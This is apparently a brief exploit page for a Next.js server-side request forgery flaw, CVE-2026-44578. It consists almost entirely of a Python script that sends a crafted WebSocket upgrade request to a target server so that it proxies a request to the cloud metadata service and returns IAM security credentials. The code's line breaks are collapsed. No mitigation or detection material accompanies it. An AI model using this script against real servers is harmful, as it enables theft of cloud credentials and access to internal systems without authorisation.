CVE-2026-44578 Next.js服务端请求伪造漏洞

import socket # Target vulnerable Next.js server target_host = "vulnerable-nextjs-app.com" target_port = 80 # Internal target to access (e.g., cloud metadata or internal admin panel) # The vulnerability allows proxying requests to arbitrary destinations via WebSocket upgrade internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = ( f"GET {internal_target} HTTP/1.1\r\n" f"Host: {target_host}\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" "Sec-WebSocket-Version: 13\r\n" "\r\n" ) print(f"Sending malicious WebSocket upgrade request to {target_host}...") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((target_host, target_port)) s.sendall(payload.encode()) response = s.recv(4096) print("Response from internal target via SSRF:") print(response.decode())